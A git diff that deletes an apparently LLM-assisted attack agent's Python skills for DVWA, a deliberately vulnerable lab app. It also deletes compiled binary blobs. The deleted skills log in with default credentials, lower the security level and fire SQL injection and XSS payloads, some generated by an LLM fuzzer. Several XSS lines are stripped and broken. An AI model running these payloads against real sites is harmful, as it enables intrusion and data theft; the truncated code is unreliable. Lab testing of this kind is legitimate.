zI|JXn3?k35J;XTc|HONCtmYdY(VMd|@jm7egB|bX|jI-8a;a2 diff --git a/src/skills/__pycache__/xss_stored_low.cpython-313.pyc b/src/skills/__pycache__/xss_stored_low.cpython-313.pyc deleted file mode 100644 index dca2de5a7e5ba3afdd441c77850cca5c86b0f2a7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4233 zcmcInO>7&-6`tkq^3S9!nUZK*TG0|E+A>)yl48rWYzy+A97&E=1PUlFu_9O0M&vHL zyVMU`q&Z3`0=Z~|>X3tcQw~Lqo^%wN9&%^^E<}UGA~jqTJ>;fTNfYGMH_Kg8QYZvL z&>_fq^WK{`?|bv+&G69UaUy8{zWaRfpKgTyg$G8n>%`$O5Fa8M(ZpjkL5Ku}XcKLI zY??5OW}qFk!6Lc2hh8gcL~v!Cd1AzOfWf2sP-{YSdm!q3v3j|mM4t7 zsFL%H#3u4$Mz!adwT!@|RGY}kd67@zc}8;pVTSMFUu+2d!u=tdBMea-4e7KA@us+G z2J4+@G-2pa2sA7w#4wyOupSX%jI`y3Nt=T`IMG0E9n!r#RR^MROviP?2n=cR2fgz& znB}O?>cFTP;da(_egtk8?XKZ&6f187Z(OwJ7|urXni|YIV|X~z{C(+=&Z4~|e?W*i zi!jbc5v*CE&~(!&IzKter^MK2Aox+a)${|o)kL2?7SBfc*BmG6I&=$tj`l}PS$Et$ zNYJft21(w0%C5J5Kh|_x++4SI%DhH9*lyteNjq4x@_*jJMtRxZAQ}M!6@})`8}hje z24zTRIt@;}H?nqys`CtrK5qq*x5ONV!n`?;_|$8Co9V2{%4+Z97v?+qNho$iX;Z-U?!(Wi?UfB}_1SmpC1ed(k| zs;begYdB`zbPvW}w~>O{31^1norbJt9kQJc0k;>=ID_cEH_X$`ak3_dnRIyC8Fw7x zT%IQAE4(Z2r2FGU+;v<(PE1?kcDTa=7Su2nS0gsb1akP)&p|ipLUS!TXk>JP|AeL}rE3?Tu0kLY_}i98ckO@;?KY^+zMc({N)#(4nH-y< z`f{SM{K@lWHbe2B{0VoX)LX(zxX^6O;02k=iL3+|3qD!{Mg5$nsXnY0wrP&3wq-aT zf+*UxFhaUY0Yi-Gq>nIat+>GXZ>oIS>U|b=+IUS&2m^ z`1)!l^x`4n(y5Y(1T4fR5~>}r3YleAyr^NR?yhRhE~Pk8?7=*BB+qT;-#SyIecJqI-2l-y1#M% z+3k}1l1`W1-HN-r*faX6rHIMN8lO_!u>8pGy^?#Z;`MDVZ!B-VxA9)FtCra#($XD_x5z4Q&gHU^QBFIuw}g7aMLy-{+H95|7~iP09leI+tn z^R){1`d*I)_u+x9rWV?F$4R3@(@4S89G8 zjiJ6mne0@^&TUJH?D>jB=h{DN`~6h8<+9RpdB3H<+%l-N48C|u6|#N1`$bC;Q^S=&Pq8ni1Y+yn+L~D7BWe5ge&-vzvZgi;P<&0B zYa467{nfe!%x(`V{@$`bw)1e;qV&hWbRe|TtppV21v?Z+b!Y(h>Mh8i3sY;BIV^H2>8(Ht^P)roY7=T!Ycy-*iq|t)CHQ zpg*$^n6_#(>74Z2r@};`Ry(T|HYjO@E*OqQtMzy^Y*#(9AY`P-eD(i%wR%DImlreK zyjDd-{QqCIq`0K49mS847ywT7fReGSkjiJ+QE?o2_@b8ZTM{4;#Md@NbpHdjeQB8_ W2bfX6%1My@{y+ diff --git a/src/skills/login.py b/src/skills/login.py deleted file mode 100644 index 246dcdb..0000000 --- a/src/skills/login.py +++ /dev/null @@ -1,12 +0,0 @@ -from ..tools.browser import Browser - -def run(base_url: str, username: str="admin", password: str="password") -> dict: - """Login on DVWA (default creds).""" - with Browser(base_url) as b: - b.goto("/login.php") - b.fill('input[name="username"]', username) - b.fill('input[name="password"]', password) - b.click('input[type="submit"]') - body = b.text() - ok = "DVWA Security" in body or "Welcome" in body or "logout" in body.lower() - return {"ok": ok, "page": "home", "evidence": "contains DVWA after login" if ok else body[:500]} diff --git a/src/skills/sqli_low.py b/src/skills/sqli_low.py deleted file mode 100644 index 91862a5..0000000 --- a/src/skills/sqli_low.py +++ /dev/null @@ -1,54 +0,0 @@ -# agent/src/skills/sqli_low.py - -from ..tools.browser import Browser -from pathlib import Path - -def run(base_url: str, payload: str = "1' OR '1'='1' -- ") -> dict: - with Browser(base_url) as b: - # login - b.goto("/login.php") - b.page.wait_for_selector('input[name="username"]', timeout=15000) - b.fill('input[name="username"]', "admin") - b.fill('input[name="password"]', "password") - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - - # security low - try: - b.goto("/security.php") - b.page.wait_for_selector('select[name="security"]', timeout=5000) - b.page.select_option('select[name="security"]', 'low') - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - except Exception: - pass - - # ir para SQLi Low - b.goto("/vulnerabilities/sqli/") - b.page.wait_for_selector('input[name="id"]', timeout=15000) - - # enviar payload - b.fill('input[name="id"]', payload) - b.click('input[type="submit"]') - b.page.wait_for_timeout(1200) - - # salvar screenshot - agent_dir = Path(__file__).resolve().parents[2] - screens_dir = agent_dir.parent / "screens" - screens_dir.mkdir(parents=True, exist_ok=True) - screenshot_path = screens_dir / "sqli_low.png" - b.page.screenshot(path=str(screenshot_path), full_page=True) - - # analisar sucesso - html = b.content() - user_table_markers = ["First name", "Surname", "User ID", "Username"] - found = any(m in html for m in user_table_markers) - - return { - "ok": found, - "vector": "SQLi (Low)", - "payload": payload, - "reason": "User table markers present" if found else "payload did not dump table", - "evidence_excerpt": html[:1200], - "screenshot": str(screenshot_path) - } diff --git a/src/skills/sqli_low_smart.py b/src/skills/sqli_low_smart.py deleted file mode 100644 index 2e22cb3..0000000 --- a/src/skills/sqli_low_smart.py +++ /dev/null @@ -1,68 +0,0 @@ -from pathlib import Path -from urllib.parse import urlencode -from ..tools.browser import Browser -from ..detectors.sql_errors import has_sql_error -from ..fuzz.engine import generate_candidates, try_candidates -from ..fuzz.seeds import SQLI_SEEDS - -def run(base_url: str, budget: int = 8) -> dict: - with Browser(base_url) as b: - # login - b.goto("/login.php") - b.page.wait_for_selector('input[name="username"]', timeout=15000) - b.fill('input[name="username"]', "admin") - b.fill('input[name="password"]', "password") - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - - # best effort low - try: - b.goto("/security.php") - b.page.wait_for_selector('select[name="security"]', timeout=5000) - b.page.select_option('select[name="security"]', 'low') - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - except Exception: - pass - - # baseline - b.goto("/vulnerabilities/sqli/?id=1&Submit=Submit") - b.page.wait_for_load_state("domcontentloaded") - base_html = b.content() - base_len = len(base_html) - - def success_metrics(html: str): - if has_sql_error(html): return True, "SQL error pattern" - if ("First name" in html and "Surname" in html): return True, "User table markers" - if ("User ID" in html and "exists in the database" in html): return True, "Exists message" - if len(html) > base_len + 150: return True, "Delta size grew" - return False, "" - - # gerar candidatos com LLM (contexto simples da página) - page_ctx = {"markers":["id input","Submit button"], "base_len": base_len} - candidates = generate_candidates("SQLiLow", page_ctx, SQLI_SEEDS, budget) - - def try_one(p: str): - qs = urlencode({"id": p, "Submit": "Submit"}) - b.goto(f"/vulnerabilities/sqli/?{qs}") - b.page.wait_for_load_state("domcontentloaded") - html = b.content() - ok, reason = success_metrics(html) - - # screenshot - screens = Path(__file__).resolve().parents[2].parent / "screens" - screens.mkdir(parents=True, exist_ok=True) - shot = screens / "sqli_low_smart.png" - b.page.screenshot(path=str(shot), full_page=True) - - return { - "ok": ok, - "vector": "SQLi (Low) SMART", - "payload": p, - "reason": reason, - "evidence_excerpt": html[:1200], - "screenshot": str(shot), - "url": b.page.url, - } - - return try_candidates(try_one, candidates) diff --git a/src/skills/xss_dom_low.py b/src/skills/xss_dom_low.py deleted file mode 100644 index b3a016c..0000000 --- a/src/skills/xss_dom_low.py +++ /dev/null @@ -1,93 +0,0 @@ -# agent/src/skills/xss_dom_low.py -from pathlib import Path -from urllib.parse import urlencode -from ..tools.browser import Browser - -# payloads comuns que funcionam no DVWA DOM XSS (param "default") -CANDIDATES = [ - '', - '">', - '', -] - -def run(base_url: str) -> dict: - with Browser(base_url) as b: - # 1) login - b.goto("/login.php") - b.page.wait_for_selector('input[name="username"]', timeout=15000) - b.fill('input[name="username"]', "admin") - b.fill('input[name="password"]', "password") - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - - # 2) tentar setar Security=Low (best-effort) - try: - b.goto("/security.php") - b.page.wait_for_selector('select[name="security"]', timeout=5000) - b.page.select_option('select[name="security"]', 'low') - if b.page.locator('input[name="seclev_submit"]').count() > 0: - b.click('input[name="seclev_submit"]') - else: - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - except Exception: - pass - - # 3) hook para capturar alert() - alert = {"ok": False, "message": ""} - def on_dialog(d): - alert["ok"] = True - alert["message"] = d.message - d.accept() - b.page.on("dialog", on_dialog) - - # 4) baseline: página “limpa” - b.goto("/vulnerabilities/xss_d/?default=English") - b.page.wait_for_selector("#main_menu", timeout=10000) # qualquer âncora estável - base_html = b.content() - - # 5) tentar payloads via GET (?default=...) - for p in CANDIDATES: - qs = urlencode({"default": p}) - b.goto(f"/vulnerabilities/xss_d/?{qs}") - b.page.wait_for_timeout(1200) # dá tempo do JS DOM executar - - html = b.content() - raw_present = (" found"), - "evidence_contains": p if raw_present else html[:1200], - "screenshot": str(screenshot_path), - "url": b.page.url, - } - - # 6) falhou – salva screenshot para diagnóstico também - try: - agent_dir = Path(__file__).resolve().parents[2] - screens_dir = agent_dir.parent / "screens" - screens_dir.mkdir(parents=True, exist_ok=True) - screenshot_path = screens_dir / "xss_dom_low_fail.png" - b.page.screenshot(path=str(screenshot_path), full_page=True) - except Exception: - screenshot_path = None - - return { - "ok": False, - "vector": "DOM XSS (Low)", - "payload": CANDIDATES[-1], - "reason": "no alert and no raw script detected", - "evidence_contains": base_html[:1200], - "screenshot": str(screenshot_path) if screenshot_path else None, - "url": b.page.url, - } diff --git a/src/skills/xss_reflected_low.py b/src/skills/xss_reflected_low.py deleted file mode 100644 index e07bbe0..0000000 --- a/src/skills/xss_reflected_low.py +++ /dev/null @@ -1,69 +0,0 @@ -# agent/src/skills/xss_reflected_low.py - -from ..tools.browser import Browser -from pathlib import Path - -def run(base_url: str, payload: str = '') -> dict: - with Browser(base_url) as b: - # login - b.goto("/login.php") - b.page.wait_for_selector('input[name="username"]', timeout=15000) - b.fill('input[name="username"]', "admin") - b.fill('input[name="password"]', "password") - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - - # security = low (tentativa best-effort) - try: - b.goto("/security.php") - b.page.wait_for_selector('select[name="security"]', timeout=5000) - b.page.select_option('select[name="security"]', 'low') - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - except Exception: - pass - - # ir para XSS Reflected - b.goto("/vulnerabilities/xss_r/") - b.page.wait_for_selector('input[name="name"]', timeout=15000) - - # hook p/ capturar alert() - alert_triggered = {"ok": False, "message": ""} - def on_dialog(d): - alert_triggered["ok"] = True - alert_triggered["message"] = d.message - d.accept() - b.page.on("dialog", on_dialog) - - # enviar payload - b.fill('input[name="name"]', payload) - b.click('input[type="submit"]') - b.page.wait_for_timeout(1200) - - # salvar screenshot - agent_dir = Path(__file__).resolve().parents[2] - screens_dir = agent_dir.parent / "screens" - screens_dir.mkdir(parents=True, exist_ok=True) - screenshot_path = screens_dir / "xss_reflected_low.png" - b.page.screenshot(path=str(screenshot_path), full_page=True) - - # analisar sucesso - html = b.content() - raw_present = " in response" if raw_present - else ("payload escaped (provável nível > Low)" if escaped_present - else "payload não refletido")) - ) - - return { - "ok": ok, - "vector": "Reflected XSS (Low)", - "payload": payload, - "reason": reason, - "evidence_contains": (payload if raw_present else html[:1200]), - "screenshot": str(screenshot_path) - } diff --git a/src/skills/xss_reflected_low_smart.py b/src/skills/xss_reflected_low_smart.py deleted file mode 100644 index fc2c118..0000000 --- a/src/skills/xss_reflected_low_smart.py +++ /dev/null @@ -1,68 +0,0 @@ -from pathlib import Path -from ..tools.browser import Browser -from ..fuzz.engine import generate_candidates, try_candidates -from ..fuzz.seeds import XSS_REFLECTED_SEEDS - -def run(base_url: str, budget: int=8) -> dict: - with Browser(base_url) as b: - # login - b.goto("/login.php") - b.page.wait_for_selector('input[name="username"]', timeout=15000) - b.fill('input[name="username"]', "admin") - b.fill('input[name="password"]', "password") - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - - # low - try: - b.goto("/security.php") - b.page.wait_for_selector('select[name="security"]', timeout=5000) - b.page.select_option('select[name="security"]', 'low') - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - except Exception: - pass - - # hook de alert() - alert = {"ok": False, "message": ""} - def on_dialog(d): - alert["ok"] = True - alert["message"] = d.message - d.accept() - b.page.on("dialog", on_dialog) - - # contexto e candidatos - b.goto("/vulnerabilities/xss_r/") - b.page.wait_for_selector('input[name="name"]', timeout=15000) - page_ctx = {"form":"name", "page": "xss_reflected"} - candidates = generate_candidates("XSSReflectedLow", page_ctx, XSS_REFLECTED_SEEDS, budget) - - def try_one(p: str): - b.goto("/vulnerabilities/xss_r/") - b.page.wait_for_selector('input[name="name"]', timeout=15000) - b.fill('input[name="name"]', p) - b.click('input[type="submit"]') - b.page.wait_for_timeout(900) - - html = b.content() - raw_present = " present" if raw_present else "no execution") - - screens = Path(__file__).resolve().parents[2].parent / "screens" - screens.mkdir(parents=True, exist_ok=True) - shot = screens / "xss_reflected_low_smart.png" - b.page.screenshot(path=str(shot), full_page=True) - - return { - "ok": ok, - "vector": "Reflected XSS (Low) SMART", - "payload": p, - "reason": reason, - "evidence_contains": p if raw_present else html[:1000], - "screenshot": str(shot), - "url": b.page.url, - } - - return try_candidates(try_one, candidates) diff --git a/src/skills/xss_stored_low.py b/src/skills/xss_stored_low.py deleted file mode 100644 index c34a66c..0000000 --- a/src/skills/xss_stored_low.py +++ /dev/null @@ -1,83 +0,0 @@ -# agent/src/skills/xss_stored_low.py - -from ..tools.browser import Browser -from pathlib import Path - -def run(base_url: str, payload: str = '') -> dict: - with Browser(base_url) as b: - # 1) login - b.goto("/login.php") - b.page.wait_for_selector('input[name="username"]', timeout=15000) - b.fill('input[name="username"]', "admin") - b.fill('input[name="password"]', "password") - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - - # 2) best-effort: Security = Low (se a tela existir) - try: - b.goto("/security.php") - b.page.wait_for_selector('select[name="security"]', timeout=5000) - b.page.select_option('select[name="security"]', 'low') - if b.page.locator('input[name="seclev_submit"]').count() > 0: - b.click('input[name="seclev_submit"]') - else: - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - except Exception: - pass - - # 3) ir para XSS Stored - b.goto("/vulnerabilities/xss_s/") - b.page.wait_for_selector('input[name="txtName"]', timeout=15000) - - # 4) preencher - b.fill('input[name="txtName"]', "pwn") - b.fill('textarea[name="mtxMessage"]', payload) - - # 5) hook para capturar o alert() - alert_triggered = {"ok": False, "message": ""} - def on_dialog(d): - alert_triggered["ok"] = True - alert_triggered["message"] = d.message - d.accept() - b.page.on("dialog", on_dialog) - - # 6) enviar - if b.page.locator('input[name="btnSign"]').count() > 0: - b.click('input[name="btnSign"]') - else: - b.click('input[type="submit"]') - b.page.wait_for_load_state("domcontentloaded") - - # 7) aguardar potencial execução do alert - b.page.wait_for_timeout(1200) - - # 8) salvar screenshot (pasta screens/ ao lado do projeto) - # base_dir = .../agent -> queremos .../screens - agent_dir = Path(__file__).resolve().parents[2] # .../agent - screens_dir = agent_dir.parent / "screens" - screens_dir.mkdir(parents=True, exist_ok=True) - screenshot_path = screens_dir / "xss_stored_low.png" - b.page.screenshot(path=str(screenshot_path), full_page=True) - - # 9) avaliar sucesso: alert() capturado OU payload cru na página - html = b.content() - raw_present = " found in page" if raw_present - else ("payload appears escaped (provável nível > Low)" if escaped_present - else "payload not present")) - ) - - return { - "ok": ok, - "vector": "Stored XSS (Low)", - "payload": payload, - "reason": reason, - "evidence_contains": (payload if raw_present else html[:1200]), - "screenshot": str(screenshot_path) - } diff --git a/src/tools/__init__.py b/src/tools/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/src/tools/__pycache__/__init__.cpython-313.pyc b/src/tools/__pycache__/__init__.cpython-313.pyc deleted file mode 100644 index 2287add3cca7d3dccd60fe4e0bfffcbf4bb3b0fe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 159 zcmey&%ge<81WdsTGeGoX5CH>>P{wB#AY&>+I)f&o-%5reCLr%KNa~iIenx(7s(yB2 zPNu#~YH@Z+eu2JYdTL&Yqo-~FkV-8s(N6^N^^1#=^-J>ebBguj<1_OzOXB183My}L e*yQG?l;)(`6|n-116fxLVtiy~WMnL22C@Laza}35 diff --git a/src/tools/__pycache__/browser.cpython-313.pyc b/src/tools/__pycache__/browser.cpython-313.pyc deleted file mode 100644 index 4130d7e7638e5716f618207a7d5d8675d4478dd4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4126 zcmbtXL2Mhx6`dt_sij0|Wl^!WiY(ExYMYKNT5;UkavVTLZP-$y6kIb6Aft;Fxg@t* z?y|G1N(vgl=pm4R0*Zkekq(8_n|yOmz4YMr(n}9y*nq+!1`71#n_ve>(Nq7Q+;# zG83gyprZ;u%g+c@U~*wLHq%ABQbZpNWbkF&%%7Oq%l~XVuE9Ra0AC zrbemkf=K+J>KeACna^a4XflJy+qBbMjbux&*s;mk)Hzph}#Sm3C8s@uBXNI zF)q=XNn%{D(og$J$I=5{*G+0KJ34(1J|&*GpgFn<=I2|EV5VbN6#g$qIJ7*+WuZM< z6z)n(nj>b|uMptExfq8tvBJ2(D{xStDFl7HRyBP3WW+t-!_)D7-ji!8uM zIO>QM$wlV-gZ}J5K(*WJV6iqz$ow0DOo`?qeMI5EeOw>8%m=pUT#2NGIgiVDg>mZXH%B#rVJ~knWnvL8jd@aO80m%>bTUX(jHjWi>lRSPgEED69Fo3 zTduz1dVEzY>9h-VM4ZslDmrBcCWX_f*x`7I?2_dg75x^aHcdx8-qFpXKRwSh(EX`Y z%Da&%+Z8>tsF_CQN4m4<+SSZ-Nw?hTyBB`~jqbP^Sk-bf4$Ws=+cup{%d&~;Dj264 zmf@>_f~rumAu@d)>!9x-iUE-! zYTKGwJdYzK8$TidcAkYXlxGvK_A1;p4%R{!vI1*$KzR08(BEzqh#zchxF(G4fb?vL z@b=gPyF?(ek|X0J&Cg*tE9+Xp)E(y@FiE3i*;H4{u3L3f9Z}|_6BJ$N3685#m*Pe9 z#C)0B6=SL5#Y}C<0uKE{N3cTcy&g+n4ggNkPESM$LwXX}#~eKYjf2OOqTfS>xT+#B zDS+-+8+0uZj&V$=9+0n+V~yl^GkLzAJl{wn@DOp^;+EKy({(xBlrPogOMg1ooSLmq z&DP{gHTlOaJR3}d|If%&jDe5H2t>6k=o~FUgwlq{f6@3hG^TLO!Btz+ADOj-#&^!z0mb30Z!%juXmrAP zfT;!}y z1SW;Q7C|6jdgL*5P|WXMf5EP>9A~+vtrheF1eoq+4SbJD%uEYjHw!7wvf-BfBo;IM zgo)SP<4d+{r=#p#=_E>`@OE*~Ex~Eht0+zc;Q|MYfyB8D738PmL!a9Z?VV!t_{IA1 zi|d6ag+EsQP*AjmYuQ}m_J_4wKdoKh@r}OqzR#T6*=uWk zUx-sI2H^Y8)bp-QJ>i#{xuoaOh@c?8*jY^h0cX`QBy_r(9}NUAQuH28!|-&3`g<=L zrWx%0I&{!?p*pv%i} zTjPhl-PM9A{XSaL&PntZ@SYSJj1M-;y?{!XXTi&G>sQxTn^LMSr5e&$O&s$bjdKJg zbToqXb*ybax*=Id;BGD0h1CEd-G*gBvcwnUQL{asy(`0Ofm{aGcJNdV7=5}fo!+_K zklw0^Z@r3-Fa*7>**Q+(lt?QiMCa~-#q9RRi%X`-o&ezTqf(06O$>!1$K6LT9 z4R4NaRjt^CB@^j{s{Ue0Gh029sum4+$(x3yTQ+n@AxKe778EZWMc1-GMDa#4kTc-W z8DyFLZ>TDSI@idnnhRe93rp|-SJlUanaG|$6d!i1!aV92P<;wns9Vsvo#fX9+ZVDR z48G_Sg!F!YM7X{QVrce7PB^!z>=S5qK?Kcyj1$H-^GJ^&eHvAvLHfdHOnw3BtDDX@ zAiwHcfd str: - return self.page.content() - - def text(self) -> str: - return self.page.inner_text("body") - - def screenshot(self, path: str): - self.page.screenshot(path=path, full_page=True)